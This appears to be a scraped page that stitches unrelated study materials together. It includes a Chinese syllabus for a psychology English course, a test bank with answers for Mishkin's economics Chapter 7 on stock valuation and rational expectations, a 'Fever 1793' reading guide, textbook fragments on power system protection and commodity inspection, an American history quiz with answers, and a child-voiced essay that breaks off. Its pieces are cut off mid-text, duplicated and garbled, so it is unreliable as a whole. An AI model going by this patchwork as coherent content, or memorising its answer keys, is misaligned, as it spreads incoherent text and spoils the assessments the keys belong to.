Answer to Chapter 7
心理学专业英语
《心理学专业英语》教学大纲王国芳编写应用心理学专业课程教学大纲958 目录前言 (960)chapter 1 PERSPECTIVES IN PSYCHOLOGY (961)1.1 Approaches to psychology (961)1.2 Controversies in psychology (963)1.3 Ethical issues in psychology (964)Reviews and exercises(Answer the following questions in English): (964)Extension readings: (964)Chapter 2 RESEARCH METHODS (965)2. What do psychologists investigate? (965)Reviews and exercises(Answer the following questions in English): (967)Extension readings: (967)Chapter3 COGNITIVE PSYCHOLOGY (968)3.1 Perception (968)3.2 Attention (969)3.3 Memory (969)Reviews and exercises(Answer the following questions in English): (971)Extension readings: (971)Chapter 4 Developmental Psychology (972)4.1 Early socialization (972)4.2 Cognitive development (973)4.3 Later Socialisation (974)Reviews and exercises(Answer the following questions in English): (975)Extension readings: (975)Chapter5 Social Psychology (976)5.1 Social influence (976)5.2 Pro- and anti- social behaviour (977)5.3 Social relationships (978)Reviews and exercises(Answer the following questions in English): (979)Extension readings: (979)Chapter 6 Comparative Psychology (980)6.1 Reproductive Strategies (980)6.2 Kinship and social behaviour (981)6.3 Behaviour analysis (982)Reviews and exercises(Answer the following questions in English): (982)Extension readings: (983)Chapter7 Biopsychology (984)7.1 Cortical functions (984)7.2 Awareness (985)7.3 Motivation and emotion (986)Reviews and exercises(Answer the following questions in English): (987)心理学专业英语Extension readings: (987)Chapter8 Abnormal psychology (988)8.1 Conceptions of abnormality (988)8.2 Psychopathologies (989)8.3 Therapeutic approaches (990)Reviews and exercises(Answer the following questions in English): (991)Extension readings: (991)959应用心理学专业课程教学大纲960前言《心理学专业英语》是应用心理学专业的一门专业方向必修课，授课时间为一个学期 36 学时，修 2 学分。
米什金 货币金融学 英文版习题答案chapter 7英文习题
Economics of Money, Banking, and Financial Markets, 11e, Global Edition (Mishkin) Chapter 7 The Stock Market, the Theory of Rational Expectations, and the Efficient Market Hypothesis7.1 Computing the Price of Common Stock1) A stockholder's ownership of a company's stock gives her the right toA) vote and be the primary claimant of all cash flows.B) vote and be the residual claimant of all cash flows.C) manage and assume responsibility for all liabilities.D) vote and assume responsibility for all liabilities.Answer: BAACSB: Analytical Thinking2) Stockholders are residual claimants, meaning that theyA) have the first priority claim on all of a company's assets.B) are liable for all of a company's debts.C) will never share in a company's profits.D) receive the remaining cash flow after all other claims are paid.Answer: DAACSB: Analytical Thinking3) Periodic payments of net earnings to shareholders are known asA) capital gains.B) dividends.C) profits.D) interest.Answer: BAACSB: Analytical Thinking4) The value of any investment is found by computing theA) present value of all future sales.B) present value of all future liabilities.C) future value of all future expenses.D) present value of all future cash flows.Answer: DAACSB: Analytical Thinking5) In the one-period valuation model, the value of a share of stock today depends uponA) the present value of both the dividends and the expected sales price.B) only the present value of the future dividends.C) the actual value of the dividends and expected sales price received in one year.D) the future value of dividends and the actual sales price.Answer: AAACSB: Analytical Thinking6) In the one-period valuation model, the current stock price increases ifA) the expected sales price increases.B) the expected sales price falls.C) the required return increases.D) dividends are cut.Answer: AAACSB: Reflective Thinking7) In the one-period valuation model, an increase in the required return on investments in equityA) increases the expected sales price of a stock.B) increases the current price of a stock.C) reduces the expected sales price of a stock.D) reduces the current price of a stock.Answer: DAACSB: Reflective Thinking8) In a one-period valuation model, a decrease in the required return on investments in equity causes a(n) ________ in the ________ price of a stock.A) increase; currentB) increase; expected salesC) decrease; currentD) decrease; expected salesAnswer: AAACSB: Reflective Thinking9) Using the one-period valuation model, assuming a year-end dividend of $0.11, an expected sales price of $110, and a required rate of return of 10%, the current price of the stock would beA) $110.11.B) $121.12.C) $100.10.D) $100.11Answer: CAACSB: Analytical Thinking10) Using the one-period valuation model, assuming a year-end dividend of $1.00, an expected sales price of $100, and a required rate of return of 5%, the current price of the stock would beA) $110.00.B) $101.00.C) $100.00.D) $96.19.Answer: DAACSB: Analytical Thinking11) In the generalized dividend model, if the expected sales price is in the distant futureA) it does not affect the current stock price.B) it is more important than dividends in determining the current stock price.C) it is equally important with dividends in determining the current stock price.D) it is less important than dividends but still affects the current stock price.Answer: AAACSB: Analytical Thinking12) In the generalized dividend model, a future sales price far in the future does not affect the current stock price becauseA) the present value cannot be computed.B) the present value is almost zero.C) the sales price does not affect the current price.D) the stock may never be sold.Answer: BAACSB: Analytical Thinking13) In the generalized dividend model, the current stock price is the sum ofA) the actual value of the future dividend stream.B) the present value of the future dividend stream.C) the present value of the future dividend stream plus the actual future sales price.D) the present value of the future sales price.Answer: BAACSB: Analytical Thinking14) Using the Gordon growth model, a stock's current price will increase ifA) the dividend growth rate increases.B) the growth rate of dividends falls.C) the required rate of return on equity rises.D) the expected sales price rises.Answer: AAACSB: Reflective Thinking15) Using the Gordon growth model, a stock's current price decreases whenA) the dividend growth rate increases.B) the required return on equity decreases.C) the expected dividend payment increases.D) the growth rate of dividends decreases.Answer: DAACSB: Reflective Thinking16) In the Gordon growth model, a decrease in the required rate of return on equityA) increases the current stock price.B) increases the future stock price.C) reduces the future stock price.D) reduces the current stock price.Answer: AAACSB: Reflective Thinking17) Using the Gordon growth formula, if D1 is $2.00, k e is 12% or 0.12, and g is 10% or 0.10, then the current stock price isA) $20.B) $50.C) $100.D) $150.Answer: CAACSB: Analytical Thinking18) Using the Gordon growth formula, if D1 is $1.00, k e is 10% or 0.10, and g is 5% or 0.05, then the current stock price isA) $10.B) $20.C) $30.D) $40.Answer: BAACSB: Analytical Thinking19) Using the Gordon growth model, if D1 is $.50, k e is 7%, and g is 5%, then the present value of the stock isA) $2.50.B) $25.C) $50.D) $46.73.Answer: BAACSB: Analytical Thinking20) One of the assumptions of the Gordon Growth Model is that dividends will continue growing at ________ rate.A) an increasingB) a fastC) a constantD) an escalatingAnswer: CAACSB: Analytical Thinking21) In the Gordon Growth Model, the growth rate is assumed to be ________ the required return on equity.A) greater thanB) equal toC) less thanD) proportional toAnswer: CAACSB: Analytical Thinking22) You believe that a corporation's dividends will grow 5% on average into the foreseeable future. If the company's last dividend payment was $5 what should be the current price of the stock assuming a 12% required return?Answer: Use the Gordon Growth Model.$5(1 + .05)/(.12 - .05) = $75AACSB: Analytical Thinking23) What rights does ownership interest give stockholders?Answer: Stockholders have the right to vote on issues brought before the stockholders, be the residual claimant, that is, receive a portion of any net earnings of the corporation, and the right to sell the stock.AACSB: Reflective Thinking7.2 How the Market Sets Stock Prices1) In asset markets, an asset's price isA) set equal to the highest price a seller will accept.B) set equal to the highest price a buyer is willing to pay.C) set equal to the lowest price a seller is willing to accept.D) set by the buyer willing to pay the highest price.Answer: DAACSB: Reflective Thinking2) Information plays an important role in asset pricing because it allows the buyer to more accurately judgeA) liquidity.B) risk.C) capital.D) policy.Answer: BAACSB: Analytical Thinking3) New information that might lead to a decrease in a stock's price might beA) an expected decrease in the level of future dividends.B) a decrease in the required rate of return.C) an expected increase in the dividend growth rate.D) an expected increase in the future sales price.Answer: AAACSB: Reflective Thinking4) A change in perceived risk of a stock changesA) the expected dividend growth rate.B) the expected sales price.C) the required rate of return.D) the current dividend.Answer: CAACSB: Reflective Thinking5) A stock's price will fall if there isA) a decrease in perceived risk.B) an increase in the required rate of return.C) an increase in the future sales price.D) current dividends are high.Answer: BAACSB: Reflective Thinking6) A monetary expansion ________ stock prices due to a decrease in the ________ and an increase in the ________, everything else held constant.A) reduces; future sales price; expected rate of returnB) reduces; current dividend; expected rate of returnC) increases; required rate of return; future sales priceD) increases; required rate of return; dividend growth rateAnswer: DAACSB: Reflective Thinking7) The global financial crisis lead to a decline in stock prices becauseA) of a lowered expected dividend growth rate.B) of a lowered required return on investment in equity.C) higher expected future stock prices.D) higher current dividends.Answer: AAACSB: Reflective Thinking8) Increased uncertainty resulting from the global financial crisis ________ the required return on investment in equity.A) raisedB) loweredC) had no impact onD) decreasedAnswer: AAACSB: Reflective Thinking7.3 The Theory of Rational Expectations1) Economists have focused more attention on the formation of expectations in recent years. This increase in interest can probably best be explained by the recognition thatA) expectations influence the behavior of participants in the economy and thus have a major impact on economic activity.B) expectations influence only a few individuals, have little impact on the overall economy, but can have important effects on a few markets.C) expectations influence many individuals, have little impact on the overall economy, but can have distributional effects.D) models that ignore expectations have little predictive power, even in the short run. Answer: AAACSB: Reflective Thinking2) The view that expectations change relatively slowly over time in response to new information is known in economics asA) rational expectations.B) irrational expectations.C) slow-response expectations.D) adaptive expectations.Answer: DAACSB: Analytical Thinking3) If expectations of the future inflation rate are formed solely on the basis of a weighted average of past inflation rates, then economists would say that expectation formation isA) irrational.B) rational.C) adaptive.D) reasonable.Answer: CAACSB: Analytical Thinking4) If expectations are formed adaptively, then peopleA) use more information than just past data on a single variable to form their expectations of that variable.B) often change their expectations quickly when faced with new information.C) use only the information from past data on a single variable to form their expectations of that variable.D) never change their expectations once they have been made.Answer: CAACSB: Reflective Thinking5) If during the past decade the average rate of monetary growth has been 5% and the average inflation rate has been 5%, everything else held constant, when the Federal Reserve announces that the new rate of monetary growth will be 10%, the adaptive expectation forecast of the inflation rate isA) 5%.B) between 5 and 10%.C) 10%.D) more than 10%.Answer: AAACSB: Reflective Thinking6) The major criticism of the view that expectations are formed adaptively is thatA) this view ignores that people use more information than just past data to form their expectations.B) it is easier to model adaptive expectations than it is to model rational expectations.C) adaptive expectations models have no predictive power.D) people are irrational and therefore never learn from past mistakes.Answer: AAACSB: Reflective Thinking7) In rational expectations theory, the term "optimal forecast" is essentially synonymous withA) correct forecast.B) the correct guess.C) the actual outcome.D) the best guess.Answer: DAACSB: Analytical Thinking8) If a forecast is made using all available information, then economists say that the expectation formation isA) rational.B) irrational.C) adaptive.D) reasonable.Answer: AAACSB: Analytical Thinking9) If a forecast made using all available information is NOT perfectly accurate, then it isA) still a rational expectation.B) not a rational expectation.C) an adaptive expectation.D) a second-best expectation.Answer: AAACSB: Analytical Thinking10) If expectations are formed rationally, then individualsA) will have a forecast that is 100% accurate all of the time.B) change their forecast when faced with new information.C) use only the information from past data on a single variable to form their forecast.D) have forecast errors that are persistently low.Answer: BAACSB: Analytical Thinking11) If additional information is not used when forming an optimal forecast because it is not available at that time, then expectations areA) obviously formed irrationally.B) still considered to be formed rationally.C) formed adaptively.D) formed equivalently.Answer: BAACSB: Analytical Thinking12) An expectation may fail to be rational ifA) relevant information was not available at the time the forecast is made.B) relevant information is available but ignored at the time the forecast is made.C) information changes after the forecast is made.D) information was available to insiders only.Answer: BAACSB: Analytical Thinking13) According to rational expectations theory, forecast errors of expectationsA) are more likely to be negative than positive.B) are more likely to be positive than negative.C) tend to be persistently high or low.D) are unpredictable.Answer: DAACSB: Analytical Thinking。
fever_1793_reading_guide
Fever 1793Fever 1793 Laurie Halse Anderson Laurie Halse Anderson____________________________________________________________________b.Abhorred(______)-________________________________________________________________________________________________________________________c.Dawdling(______)-________________________________________________________________________________________________________________________ QuestionsQuestions1.Who is the narrator of the story? What point of view is the author using?2.The narrator says, “It was the war” (page 2). Which war is she talking about?3.What kind of family does Mattie’s mother come from?4.Why does Mattie’s mother’s family not talk to them anymore?5.Polly is late. Where does Mattie think Polly is?6.In 1793, Philadelphia was the capital of the country. The novel does not say thisdirectly, but it is hinted at on page 4. What does the narrator say that lets thereader know that it is the capital?7.Mattie compares herself several times to Blanchard’s _______________ (pages 2and 4). Why does she do this?____________________________________________________________________b.Apothecary(______)-______________________________________________________________________________________________________________________ uestionsQ uestions1.Mattie says, “…after the War of Independence ended in 1783. I was four yearsold.” (page 7). How old is Mattie in this chapter?2.What has happened to Mattie’s father?3.What is ironic about Mattie’s mother’s last name?4.Who is Eliza?5.Why is Eliza vital to the Cook household?6.What made Philadelphia one of the best cities for freed slaves?7.Mattie says on page 9, “They both supped sorrow with a big spoon that’s whatMother said.” Who is she talking about (two names)? Explain this quotation in your own words.8.What has happened to Polly?____________________________________________________________________ Questions Questions 1. How has Mattie’s mother changed since her father’s death? 2. Mattie’s mother refuses to let her go to Polly’s to deliver food or go to the funeral. Why? What is she afraid of? 3. Mattie says, “Life was a battle…” (page 17). What type of poetic device is used her? Explain the meaning of this quotation. Chapter 4: August 16th ,1793,1793 Vocabulary Vocabulary a. Delectables(______)-__________________________________________________ ____________________________________________________________________d. Instill(______)-_______________________________________________________ ____________________________________________________________________ b. Miasma(______)-_____________________________________________________ ____________________________________________________________________ c. Stench(______)-______________________________________________________ ____________________________________________________________________ d. Noxious(______)-_____________________________________________________2. Who did he serve under?3. Who is King George and what does he repeat?4. What is Mr. Carris’s theory of what is causing the sickness?5. What is unusual about the currency in 1973?6. What did Mother accidentally say when Mattie offered to put away the dishes? Chapter 5: August 24th ,1793,1793 Vocabulary Vocabulary a. Imp (______)-________________________________________________________ ____________________________________________________________________ b. Demure(______)-_____________________________________________________ ____________________________________________________________________ c. Ninny(______)-________________________________________________________________________________________________________________________________________ Questions Questions 1. What is Mattie’s mother’s name? 2. Where is Mattie’s mother thinking of sending Mattie?4. What does Mrs. Epler think is the cause of the fever? How can people, according to Mrs. Epler, avoid getting the fever?5. Who does Mattie meet on the way back from the Market?6. What are her feelings toward this person? Be sure to provide evidence from the novel to support your answer.7. What does each ringing of the bell represent?8. Girls in 1793 would be shocked by girls’ clothing today. What lines in the story prove that? Include at least two examples. Chapter Chapter 66: August 30th ,1793,1793 Vocabul Vocabulary ary ary a. Horde(______)-_______________________________________________________ ____________________________________________________________________ b. Quarantine(______)-__________________________________________________ ____________________________________________________________________ c. Detest(______)-_______________________________________________________ ____________________________________________________________________d. Spinster(______)-_____________________________________________________ ____________________________________________________________________ Questions Questions 1. What is a fond memory Mattie has of winter? 2. What did Grandfather hear that causes Mattie’s embarrassment? 3. Why has the business of the coffeehouse improved so much lately? 4. What ideas does Grandfather have for extra money? 5. What is Mattie’s idea for extra money? 6. Why does Grandfather not want to go anywhere? 7. What message is delivered? 8. Why does Mattie decide to go to the Ogilvies?Chapter 7: August 30th ,1793,1793Vocabul Vocabulary ary ary a. Dilemma (______)-____________________________________________________ ____________________________________________________________________ b. Tedious(______)-_____________________________________________________ ____________________________________________________________________ c. Dregs(______)-_______________________________________________________ ____________________________________________________________________ d. Gala(______)-________________________________________________________ ____________________________________________________________________ Questions Questions 1. What visible signs of wealthy are present in the Ogilvie mansion? 2. Jeannine behaves like a brat. What does she do to prove this? 3. Jeannine is a snob and insults Mattie and her mother. Explain how. 4. What causes the argument at the end of the chapter? 5. What prevents the fight or argument from continuing?Chapter 8: September 2nd ,1793,1793Vocabulary Vocabulary a. vehemently- (_______)-______________________________________________________________________________________________________________ Questions Questions 1. Why is a “cannon blasted” in the front square? (page 54) 2. What does Eliza ask Mattie to collect to “discourage the flies”? 3. Review the list of the Mayor’s orders on page 58. Which do you believe is the most helpful advice? Which do you believe is the most useless advice? 4. As Mattie and Grandfather return to the coffeehouse, they see a man with a cart. What is the man doing? Who is in the cart? Chapter 9: September 2nd ,1793,1793 Vocabu Vocabulary lary lary a. Dumb (______)-______________________________________________________ ____________________________________________________________________b. Pestilence(______)-____________________________________________________ ____________________________________________________________________c. Taut(______)-________________________________________________________ ____________________________________________________________________ Questions Questions 1. What happens to make Mattie have a bad day?2. Why does Mattie have doubts about Mr. Rowley?3. What felt upside down to Mattie?4. Describe Mother’s illness. What does she do that frightens Mattie at the end of the chapter?5. Why does Mother throw a book at Mattie? Chapter 10: September 6th ,1793,1793 Vocabulary Vocabulary a. Lancet (______)-___________________________________________________ _________________________________________________________________ b. Valise(______)-____________________________________________________ _________________________________________________________________ Qu Questions estions estions 1. What does Dr. Kerr perform on Mother in an attempt to help her with her sickness? 2. What reason does Dr. Kerr give for why Mother cannot go with Mattie when she leaves town? 3. What package does Mattie receive? 4. What is Nathaniel Benson doing to protect himself from the fever?Chapter 11: September 7th ,1793,1793Vocabulary Vocabulary a. Commotion (______)-_______________________________________________ _________________________________________________________________ b. Lurched(______)-__________________________________________________ _________________________________________________________________ Questions Questions 1. What is Mattie’s theory for why they are being attacked by so many insects? 2. According to her grandfather, what does a soldier need to fight? 3. What do the four horsemen want when they stop the carriage upon entering Pembroke? 4. What happens to Mattie and Grandfather? Chapter 12: September 8th ,1793,1793 Vocabulary Vocabulary a. Recuperate (______)-__________________________________________________ ____________________________________________________________________b. Withered(______)-____________________________________________________ ____________________________________________________________________c. Skirmish (______)-____________________________________________________Questions Questions 1. What is the “soldier trick” that Mattie uses? 2. Why does Grandfather think he has been a fool? 3. What did George Washington say was Grandfather’s only fault? C hapter 13: September 10th ,1793,1793 Vocabulary Vocabulary a. Parched(______)-______________________________________________________________________________________________________________________ Questions Questions 1. What method does Mattie develop for fishing? 2. What causes Mattie to be unsuccessful catching fish? 3. What happens to Mattie at the end of the chapter?Chapter 14: September 12th th -- 20th ,1793,1793 Vocabulary Vocabulary a. Scabbard (______)-________________________________________________________________________________________________________________________ b. Reeking(______)-_____________________________________________________ ____________________________________________________________________c. Slovenly(______)-_____________________________________________________ ____________________________________________________________________d. Topsy-turvy(______)-__________________________________________________ ____________________________________________________________________ Questions Questions 1. What job does Barney have? 2. What is Mattie’s nightmare? 3. Where is Mattie when she wakes up? 4. What did Stephen Girard do? 5. What is Mrs. Flagg’s opinion of Dr. Rush’s and Dr. Kerr’s methods of blood-letting and purging? 6. What did Grandfather find when he returned to tell Mother where they were? Chapter 15: September 22nd ,1793,1793 Vocabulary Vocabulary a. Destitute(______)-____________________________________________________ ____________________________________________________________________ b. Famished(______)-____________________________________________________ ____________________________________________________________________ c. Stench(______)-______________________________________________________Questions Questions 1. What three people does Mattie worry about? Why? 2. What did the clerk want to do with Mattie? Chapter 16: September 24th ,1793,1793 Vocabulary Vocabulary a. Lurk (______)-_______________________________________________________ ____________________________________________________________________ b. Placid(______)-_______________________________________________________ ____________________________________________________________________ Questions Questions 1. What does Mrs. Bowles try to get Mattie to do? 2. What daydream does Mattie have about how everything would go once she returned to the coffeehouse? 3. How has Philadelphia changed since Mattie has left? Use specific references from the text to support your answer. 4. What caused the fever to slow for a few days?5. How are the dead being buried? Chapter 17:Chapter 17: September 24September 24th ,1793,1793 Vocabulary Vocabulary a. Helter-skelter(______)-________________________________________________ ____________________________________________________________________ a. Lingered (______)-____________________________________________________ ____________________________________________________________________ b. Invalid(______)-______________________________________________________ ____________________________________________________________________ c. Recuperate (______)-__________________________________________________ ____________________________________________________________________ d. Edible(______)-_______________________________________________________ ____________________________________________________________________ Questions Questions 1. How do (in what condition) Mattie and her grandfather find the coffeehouse? 2. What hadn’t the robbers taken? 3. What is the condition of the garden? Chapter 18Chapter 18: September 25: September 25th , 1793, 1793 Vocabulary Vocabulary a. Dote(______)-_____________________________________________________ ____________________________________________________________________Questions Questions 1. How often does Mattie usually bathe? 2. Whose clothes does Mattie put on? 3. What does Mattie find for them to eat? 4. When Mattie leaves the shutters open, what is she worried about? Chapter 19Chapter 19: September 26: September 26th , 1793, 1793 Vocabulary Vocabulary a. Brandish(______)-____________________________________________________ ____________________________________________________________________ Questions Questions 1. What was Mattie dreaming of? 2. What wakes Mattie from her dream? 3. What did Mattie learn to do before she learned to read? 4. After the crooks capture Mattie, what do they want to know? 5. How does Mattie know the Grandfather is not fooling around when he aims the gun at the crooks?6. What does the crook do to Grandfather?7. What does Mattie do to the crook?8. What does she do to the chair? Chapter 20Chapter 20: September 27: September 27th , 1793, 1793 Vocabulary Vocabulary a. Queasy(______)-__________)___________________________________________ ____________________________________________________________________ b. Exorbitant(______)-___________________________________________________ ____________________________________________________________________ c. Pestilence(______)-____________________________________________________ ____________________________________________________________________ d. Cowered(______)-____________________________________________________ ____________________________________________________________________ Questions Questions 1. What is the man with the cart doing? 2. What does Mattie grab to bury with Grandfather? Why? 3. What does Mattie demand happens at the gravesite? 4. Explain the problems Mr. Brown has and why he cannot print an advertisement for Mattie.5. Outside Warner’s house, what does the old lady do to Mattie?6. What is wrong with the girl with the broken doll? Chapter 21Chapter 21: September 27: September 27th , 1793, 1793 Vocabulary Vocabulary a. Save(______)-________________________________________________________ ____________________________________________________________________ Questions Questions 1. What is the girl’s name? 2. What does Mattie decide to do with the girl? 3. Why does the little girl bite the hand of the sailor? 4. Who does Mattie find while walking around? Chapter 22Chapter 22: September 27: September 27th , 1793, 1793 Vocabulary Vocabulary a. Disentangle(______)-__________________________________________________ ____________________________________________________________________ Questions Questions 1. Where does Eliza take Mattie? 2. What does Eliza tell her about her mother?4. What does Eliza suggest Mattie should do? Why does Mattie dislike this suggestion?5. What does Dr. Rush ask of the Free African Society?6. In what way is Dr. Rush wrong? Chapter 23Chapter 23: September 28: September 28th , 1793, 1793 Vocabulary Vocabulary a. Weary(______)-______________________________________________________ ____________________________________________________________________ Questions Questions 1. Why does Nell smell badly? 2. Why does Mother Smith call Mattie cruel? 3. What happens at the orphanage? 4. What happened to Colette Ogilvie? 5. Why were daises falling from the sky?Chapter 24Chapter 24: October 1: October 1st , 1793, 1793 Vocabulary Vocabulary a. Jalap(______)-________________________________________________________ ____________________________________________________________________b. Scurrilous (______)-___________________________________________________ ____________________________________________________________________ Questions Questions 1. According to Mattie, what is more difficult than cleaning up the sick? 2. What has happened at the Sharp residence? 3. What has happened to the children? Where will they take them? Chapter 25Chapter 25: October 14: October 14th , 1793, 1793 Vocabulary Vocabulary a. Purge(______)-_______________________________________________________ ____________________________________________________________________b. Putrid(______)-_______________________________________________________ ____________________________________________________________________c. Ominous(______)-____________________________________________________ ____________________________________________________________________ Questions Questions 1. Why does Eliza think it will be safe this time to leave the shutters open? 2. In the dark, what does Mattie kick with her foot? 3. What does Mattie convince Eliza not not not to do?Chapter 26Chapter 26: October 23: October 23rd , 1793, 1793Vocabulary Vocabulary a. Fetid(______)-_______________________________________________________ ____________________________________________________________________ Questions Questions 1. Who wakes Mattie up? 2. What does Mattie find when she wakes-up? 3. What dropped as quickly as the temperature? 4. Besides food, what does she find at the market? Chapter 27Chapter 27: October 30: October 30th , 1793, 1793 Vocabulary Vocabulary a. Gaunt(______)-_______________________________________________________ ____________________________________________________________________b. Feign(______)-_______________________________________________________ ____________________________________________________________________ Questions Questions 1. “Like a wilted flower stuck in a bowl of water, it drew strength and blossomed…” (page 220). What poetry device is being used? What comparison is being made? 2. What reason does Mattie give for why it might be better that Grandfather is buried in a mass grave?3. What is Mattie’s plan for the future?4. Why do they need to get a lawyer? Chapter 28Chapter 28: November 10: November 10th , 1793, 1793 Vocabulary Vocabulary a. Entourage(______)-___________________________________________________ ____________________________________________________________________ Questions Questions 1. What clever business trick has Mattie developed to sell more food? 2. What does Nathaniel offer to do to help out the coffeehouse? 3. What made the coffeehouse “brighter”? 4. What surprise does the arrival of President Washington bring to Mattie? Chapter 29Chapter 29:: November 10th , 1793, 1793 Epilogue Epilogue: December 11: December 11th , 1793, 1793 Vocabulary Vocabulary a. Epilogue(______)-_____________________________________________________ ____________________________________________________________________ b. wince(______)-_______________________________________________________ ____________________________________________________________________ Questions Questions 1. Why must mother live a life of leisure? 2. What is Mattie’s morning routine?Potential Journal Questions/Activities Potential Journal Questions/Activities 1. The exposition and initial rising action events take place in the Cook Coffeehouse. Describe the activities that go on there before, during, and after the guests arrive. 2. Throughout the book, Matilda and her mother never say they love each other, yet the readers know they do. What evidence is there in the novel to support that the two love one another? 3. What was Philadelphia like in 1793? What were the advantages and disadvantages of living in the countryside outside of Philadelphia? 4. In good times, how are the farmers outside the city dependent on the city dwellers of Philadelphia? (around pages 116, 155-156, 211??) 5. Matilda changes a great deal from the beginning of the novel until its end. Give three specific examples of those changes and relate them to the types of conflicts she has faced. (AFTER READING) 6. During the story, the people of Philadelphia face many dangers, including the risks of disease, starvation, robbery, and assult. Describe a dramatic incident in which Matilda faced one of these dangers and point out the personal qualities that help her survive. 7. How might the story be different if Mattie’s mother had stayed healthy and remained with her daughter at all times during the novel? 8. How was the life of a fourteen-year-old in 1793 different from the life of a fourteen-year-old today? In which time period would you rather live? Why? 9. The color yellow is used throughout the story. What does it symbolize? What other symbols are used in the book? 10. During the Revolutionary War, women took on tasks that were traditionally performed by men. After the War, they were expected to g back to their spinning wheels and kitchens. How are Mattie’s dreams in conflict with her society’s expectations of young women? Why does Mattie’s mother want a different life for her daughter?。
电气工程及其自动化专业英语 Chapter 7 Power System Protections
Section 1 Introduction
（6）Phase sequence relays such as (i) negative sequence relays and, (ii) zero sequence relays, （7）Differential relays and percentage differential relays, （8）Distance relays such as (i) plane impedance relays, (ii) angle impedance relays, i.e. Ohm or reactance relays, (iii) angle admittance relays, i.e. Mho relays and, (iv) offset and restricted relays, （9）Pilot relays such as (i) wire pilot relays, (ii) carrier channel pilot relays, (iii) microwave pilot relays.
Chapter 7
Power System Protections
Section 1 Introduction
Text
New Words and Expressions Resume
Exercises
End
Section 1 Introduction
The steady-state operation of a power system is frequently disturbed by various faults on electrical equipment. To maintain the proper operation of the power system, an effective, efficient and reliable protection scheme is required. Power system components are designed to operate under normal operating conditions. However, if due to any reason, say a fault, there is an abnormality, it is necessary that there should be a device which senses these abnormal conditions and if so, the element or component where such an abnormality has taken
国际贸易实务双语Chapter 7
Chapter Seven Commodity Inspection 商品检验
Warming-up Exercise Part A English Tex Part B Bilingual Tex
Chapter Seven Part A English Tex
Commodity Inspection
Inspection at the port of destination Inspection at the port of destination is also landed quality and weight. It means that the inspection is carried out by an authorized party within the period stipulated in the sales contract at the port of destination. And the certificate thus issued serves as the evidence in case of disputes. Obviously, it is more favorable to the buyer. Inspection at the port of shipment and re-inspection at the port of destination Inspection at the fort of shipment and re-inspection at the port of destination means that the goods is inspected before shipping in the exporting country and re-inspected when it arrives at the port of destination in the importing country. And also, the certificate issued in the exporting country is a part of documents required to collect payment. While the certificate issued after the re-inspection can serve as evidence in case of dispute settlement. Since this way is favorable to both the seller and the buyer, it is much preferred in international trade.
英美国家历史与文化答案精修订
英美国家历史与文化答案SANY标准化小组 #QS8QHH-HHGX8Q8-GNHHJ8-HHMHGN#Chapter 1 Land and History1.Choose the most appropriate answer to each question or statement.(5 pointsfor each)1)The following figures were often considered the founding fathersof the American Republic EXCEPT__C_.A.George WashingtonB. Thomas JeffersonC. Roger WilliamsD. JohnAdams2)The following were some of the characteristics of PuritanismEXCEPT_A_.A. Manifest destinyB. Religious freedomC. Intolerant moralismD. Separation of state andchurch3)The 1920s was associated with the following EXCEPT__D.A. Silent moviesB. Ku Klux KlanC. ProhibitionD. Television4)Clinton was the second US president to be impeached by the Houseof Representatives, but retired in the_A_.A. The SenateB.the Supreme CourtC. The Department of JusticeD.The Federal Reserve5)Which of the following did not take place in the Nixonadministration BA. VietnamizationB. Cuban Missile CrisisC. Watergate ScandalD. Re-establishing US with China.2.Match the US president with the event that took place in his presidency. (5points for each)1)Abraham Lincoln e a. New Deal2)Franklin D. Roosevelt. a b. Rapid development in ITIndustry3)John F. Kennedy d c. Watergate Scandal4)Richard Nixon c d. Cuban Missile Crisis5)Bill Clinton b e. Civil War3.Translate the English passage into Chinese.When an American says that he loves his country, he means not onlythat he loves the New England hills, the prairies glistening in thesun, the wide and rising plains, the great mountains, and the sea. Hemeans that he loves an inner air, an inner light in which freedomlives and in which a man can draw the breath of self-respect.当一个美国人说他热爱他的祖国，他不仅仅意味着他深爱着新英格兰连绵的山丘，阳光下熠熠生辉的草原，宽阔无边际的平原，巍峨的高山和一望无际的大海。
名师a计划强化训练册英语答案2024
名师a计划强化训练册英语答案2024全文共10篇示例，供读者参考篇1Title: The Amazing Adventures of the English Answer Book for the Master A Plan Reinforcement Training Workbook 2024Hi friends! I'm here to share with you all the answers to the Master A Plan Reinforcement Training Workbook for English in 2024. Are you ready to embark on this amazing adventure with me? Let's dive right in!Chapter 1: Vocabulary1. What is the opposite of 'happy'?Answer: Sad2. Give an example of a homophone.Answer: Pair and pear3. What is the meaning of the word 'excited'?Answer: Feeling enthusiastic or eager4. Write the past tense of the verb 'go'.Answer: Went5. What is the synonym for 'big'?Answer: LargeChapter 2: Grammar1. Fill in the blank with the correct form of the verb: She________ to the park yesterday.Answer: Went2. Choose the correct pronoun to complete the sentence: Sarah and ________ went to the movies.Answer: I3. Rewrite the sentence in the past tense: He reads books every day.Answer: He read books every day.4. Identify the verb in the sentence: The cat is sleeping on the bed.Answer: Sleeping5. Write the plural form of the noun: DogAnswer: DogsChapter 3: Reading Comprehension1. What is the main idea of the story 'The Great Adventure'?Answer: Two friends go on an exciting journey together.2. Who are the main characters in the story 'The Magic Garden'?Answer: Lily and Rose3. What lesson did the character learn in the story 'The Brave Little Turtle'?Answer: It's important to never give up, even when things get tough.4. How did the character solve the problem in the story 'The Mystery of the Missing Necklace'?Answer: She followed the clues and found the missing necklace.5. What is the setting of the story 'The Secret Door'?Answer: A mysterious old houseI hope you enjoyed going on this adventure with me and found all the answers you were looking for. Keep up the greatwork with your English studies, and remember to always have fun while learning! Bye for now!篇2Oh my gosh, I can't believe we have to do this super long English homework about the famous A Plan for 2024! But don't worry, I have all the answers right here for the English training booklet from the amazing Name Teacher A!Question 1: What is the purpose of the A Plan for 2024?Answer: The purpose of the A Plan for 2024 is to provide strong and effective training for students to improve their English skills.Question 2: What are some key features of the A Plan for 2024?Answer: Some key features of the A Plan for 2024 include interactive lessons, personalized study plans, and engaging activities to make learning English fun and exciting.Question 3: How can students benefit from participating in the A Plan for 2024?Answer: Students can benefit from participating in the A Plan for 2024 by improving their English proficiency, gainingconfidence in their language skills, and developing new study habits that will help them succeed in the future.Question 4: What are some tips for getting the most out of the A Plan for 2024?Answer: Some tips for getting the most out of the A Plan for 2024 include practicing regularly, setting goals for improvement, and seeking help from teachers or classmates when needed.So there you have it, the answers to the Name Teacher A's English training booklet for the A Plan for 2024! Now we can ace this homework and impress our teacher with our awesome English skills! Let's do this!篇3Title: My Experience with the "Master A Plan" English Training WorkbookHey guys, guess what? I want to tell you all about my experience with the "Master A Plan" English training workbook! It was so cool and I learned a lot from it.The workbook had so many fun activities likefill-in-the-blanks, matching words, and even some crossword puzzles. I really enjoyed doing 